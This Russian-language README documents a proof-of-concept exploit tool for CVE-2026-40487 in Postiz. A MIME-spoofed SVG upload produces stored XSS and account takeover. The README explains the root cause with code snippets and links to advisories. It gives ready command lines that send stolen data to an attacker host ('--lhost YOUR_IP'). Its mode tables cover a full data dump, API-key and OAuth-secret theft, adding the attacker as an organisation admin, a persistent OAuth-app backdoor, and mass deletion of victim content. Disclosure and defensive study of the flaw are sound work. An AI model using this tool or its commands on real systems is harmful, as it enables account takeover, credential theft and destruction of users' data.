
Эксплойт proof-of-concept для CVE-2026-40487, демонстрирующий произвольную загрузку файлов через подмену MIME, приводящую к хранимому XSS и захвату учётной записи в Postiz. Включает несколько режимов атаки для эксфильтрации данных, повышения привилегий и закрепления в системе.
Обнаружено и сообщено: Astaruf
Полное описание: https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/
Запись NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-40487
Запись GHSA: https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx
Запись CVE: https://www.cve.org/CVERecord?id=CVE-2026-40487
Postiz — это инструмент управления социальными сетями с открытым исходным кодом, поддерживающий более 28 платформ (Instagram, X, LinkedIn, Facebook, TikTok и др.), используемый более чем 600 экземплярами, доступными в интернете.
Злоумышленник с низкими привилегиями может загрузить вредоносный SVG (или HTML) файл с подделанным заголовком Content-Type: image/png. Сервер принимает файл без проверки его фактического содержимого, сохраняет исходное расширение, а nginx отдает его с Content-Type, полученным из этого расширения (image/svg+xml). Когда жертва открывает URL, встроенный JavaScript выполняется в origin приложения, что дает злоумышленнику полный контроль над сессией, эквивалентный захвату учетной записи.
Цепочка атаки:
Злоумышленник загружает .svg с Content-Type: image/png
-> Сервер проверяет только заголовок Content-Type (CWE-345)
-> Файл сохраняется на диск с исходным расширением .svg (CWE-434)
-> nginx отдает его как image/svg+xml
-> Браузер выполняет встроенный JavaScript (CWE-79)
-> Тот же origin: полный доступ к сессии жертвы
XSS-пейлоад выполняется в том же origin, что и приложение. Даже если cookie аутентификации имеет флаг HttpOnly, fetch() с credentials: "include" автоматически прикрепляет его. Злоумышленник может:
pos_* токен, который никогда не истекает и переживает смену пароля)Три компонента отказывают независимо друг от друга, создавая цепочку эксплуатации:
libraries/nestjs-libraries/src/upload/custom.upload.validation.ts:
const validation =
(value.mimetype.startsWith('image/') ||
value.mimetype.startsWith('video/mp4')) &&
value.size <= maxSize;
value.mimetype берется из заголовка Content-Type в multipart-запросе, который контролирует злоумышленник. Никакой проверки магических байтов, никакого использования библиотек типа file-type.
libraries/nestjs-libraries/src/upload/local.storage.ts:
const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);
extname(file.originalname) извлекает расширение из имени файла, предоставленного клиентом. Нет проверки соответствия между заявленным MIME-типом и расширением. Сервер также возвращает полный публичный URL в ответе, поэтому злоумышленник получает ссылку для отправки жертве.
http {
include /etc/nginx/mime.types;
location /uploads/ {
alias /uploads/;
}
}
nginx сопоставляет .svg с image/svg+xml, .html с text/html. Нет Content-Security-Policy, нет X-Content-Type-Options: nosniff, нет Content-Disposition: attachment.
Python 3.8+
pip install requests
# 1. Проверить, уязвима ли цель
python3 poc.py http://target:5000 -e [email protected] -p password --check
# 2. Похитить все данные жертвы
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a full-dump
# 3. Создать постоянный бэкдор
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a create-oauth-app
# 4. Использовать токен без учетных данных
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
--lhost YOUR_IP -a full-dump
Злоумышленник Сервер Postiz Жертва
| | |
|-- 1. Вход/Регистрация ------>| |
|-- 2. Загрузка вредоносного SVG -->| |
|<---- URL файла -----------| |
|-- 3. Отправка URL жертве ---------------------------> |
| |<--- 4. Открытие URL --- |
| |--- SVG + JS ---------> |
|<-------------- 5. JS выполняется, похищает данные ----|
| Режим | Описание |
|---|---|
dump-self | Профиль жертвы, информация об организации, тариф, ключ API |
dump-personal | Отображаемое имя, био, фото профиля |
dump-integrations | Подключенные интеграции социальных сетей и токены |
dump-posts | Запланированные и черновые публикации (за последние 365 дней) |
dump-team | Участники команды, роли и адреса электронной почты |
dump-media | Список медиатеки |
dump-notifications | История уведомлений |
dump-signatures | Подписи к публикациям |
dump-webhooks | Настроенные вебхуки и их URL |
dump-oauth-app | Учетные данные OAuth-приложения (clientId, secret) |
dump-copilot | Цепочки диалогов AI-копайлота |
dump-billing | Информация о биллинге и подписке |
dump-settings | Настройки коротких ссылок и уведомлений |
dump-third-party | Конфигурации сторонних интеграций |
dump-autopost | Правила автопостинга |
dump-sets | Наборы контента |
dump-tags | Теги публикаций |
dump-customers | Список клиентов |
full-dump | Все вышеперечисленное в одном пейлоаде |
| Режим | Описание |
|---|---|
add-admin | Пригласить злоумышленника как ADMIN в организацию жертвы (--attacker-email) |
rotate-key | Перевыпустить ключ API организации и похитить его |
rotate-oauth | Перевыпустить секрет OAuth-приложения и похитить его |
| Режим | Описание |
|---|---|
kill-notifications | Отключить все email-уведомления |
edit-profile | Изменить имя и био жертвы (--edit-name, --edit-bio) |
wipe-signatures | Удалить все подписи к публикациям |
wipe-webhooks | Удалить все вебхуки |
wipe-tags | Удалить все теги |
wipe-sets | Удалить все наборы контента |
wipe-autopost | Удалить все правила автопостинга |
logout-victim | Принудительно выйти из системы жертвы |
delete-oauth-app | Удалить OAuth-приложение жертвы |